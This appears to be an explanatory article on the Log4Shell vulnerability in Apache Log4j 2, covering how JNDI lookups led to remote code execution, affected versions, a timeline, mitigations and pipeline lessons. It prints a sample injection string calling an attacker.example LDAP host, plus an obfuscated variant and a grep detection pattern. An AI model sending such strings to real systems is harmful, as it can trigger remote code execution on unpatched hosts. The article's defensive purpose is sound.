Log4Shell (CVE-2021-44228)
, 4 min read
CVE-2021-44228 is a remote code execution flaw in Apache Log4j 2, one of the most widely used Java logging libraries. An attacker only needed a string they controlled to be logged. A search field, a username or an HTTP header would do. NVD scores it CVSS 3.1 10.0.
The feature that caused it
Log4j 2 supports lookups: ${...} expressions inside a logged message that are expanded when the message is written. ${java:version}, for example, becomes the running Java version.
One lookup type is JNDI, the Java Naming and Directory Interface. JNDI can fetch objects from remote directory services such as LDAP. So when Log4j logged this string:
${jndi:ldap://attacker.example/a}it would contact the attacker's LDAP server. The server could then point the application at Java code to load, and the application would run it. Nothing about the request had to look unusual apart from that string.
Affected and fixed versions
The Apache Logging security page is the reference. In short:
- CVE-2021-44228 affected 2.0-beta9 through 2.14.1. 2.15.0 disabled message lookups by default.
- CVE-2021-45046. The 2.15.0 fix was incomplete when certain non-default pattern layouts used context lookups. That's CVSS 9.0, fixed in 2.16.0, which removed message lookups entirely.
- CVE-2021-45105. A crafted self-referential lookup could cause infinite recursion, a denial of service. That's CVSS 5.9, fixed in 2.17.0.
- CVE-2021-44832. An attacker who could change the logging configuration could get code execution through the JDBC appender. That's CVSS 6.6, fixed in 2.17.1.
The versions that close all four are 2.17.1 (Java 8 and later), 2.12.4 (Java 7) and 2.3.2 (Java 6). CISA's guidance lists the same three.
Timeline
- On or around 1 December 2021. Exploitation begins, according to the joint CISA, FBI and NSA advisory. That's before any public fix or warning.
- 10 December 2021. The vulnerability is disclosed and NVD publishes CVE-2021-44228. CISA adds it to the Known Exploited Vulnerabilities catalogue the same day. Apache credits the original report to Chen Zhaojun of Alibaba Cloud Security.
- 14–28 December 2021. The three follow-up CVEs are published as each fix is found to be incomplete.
- 17 December 2021. CISA issues Emergency Directive 22-02, ordering US federal agencies to find and patch or mitigate Log4j.
Why it was so hard to fix
Patching Log4j was easy. Finding it wasn't. Log4j was bundled inside vendor appliances, application servers, fat JARs, shaded dependencies and container images. Many teams didn't know they used it until a scanner found a log4j-core JAR three levels deep in something they'd never built. CISA's guidance leaned heavily on file-system scanning for that reason.
Stopgap mitigations and their limits
Where an upgrade wasn't possible, the joint advisory's workaround was to delete or rename JndiLookup.class inside the Log4j JAR. That breaks some JNDI-based features, and the advisory is clear that workarounds are temporary. CISA's guidance prefers patching to tracking a different mitigation on every host.
The fix history shows why. Each of the first three releases looked final when it shipped.
Finding attempts in your logs
Exploit attempts show up as the lookup string in request logs, often disguised with nested lookups such as ${${lower:j}ndi:...}. A plain search catches the simple cases:
grep -rE '\$\{(jndi|\$\{)' /var/log/A match means someone tried. It doesn't mean they succeeded. Unexpected outbound LDAP, RMI or DNS traffic from application hosts around the same time is the stronger signal.
What it means for a pipeline
- An SBOM per build. If every artefact you ship has a software bill of materials, "where is log4j-core below 2.17.1?" is a query, not a week of scanning.
- Restrict egress. An application server that can't open outbound connections to the internet can't complete the JNDI fetch, so the lookup fails before any code is loaded.
- Emergency patch path. Four fixes arrived in three weeks. A pipeline that can rebuild and redeploy everything in a day matters more than any single fix.
- Your vendors' dependencies are yours. Much of the exposure was in bought software. Ask vendors how they track components and how fast they ship fixes.
Sources
- NVD — CVE-2021-44228
- NVD — CVE-2021-45046
- NVD — CVE-2021-45105
- NVD — CVE-2021-44832
- Apache Logging Services — Log4j security vulnerabilities
- CISA — Apache Log4j vulnerability guidance
- CISA, FBI, NSA and partners — AA21-356A: Mitigating Log4Shell and other Log4j-related vulnerabilities
- CISA — ED 22-02: Mitigate Apache Log4j vulnerability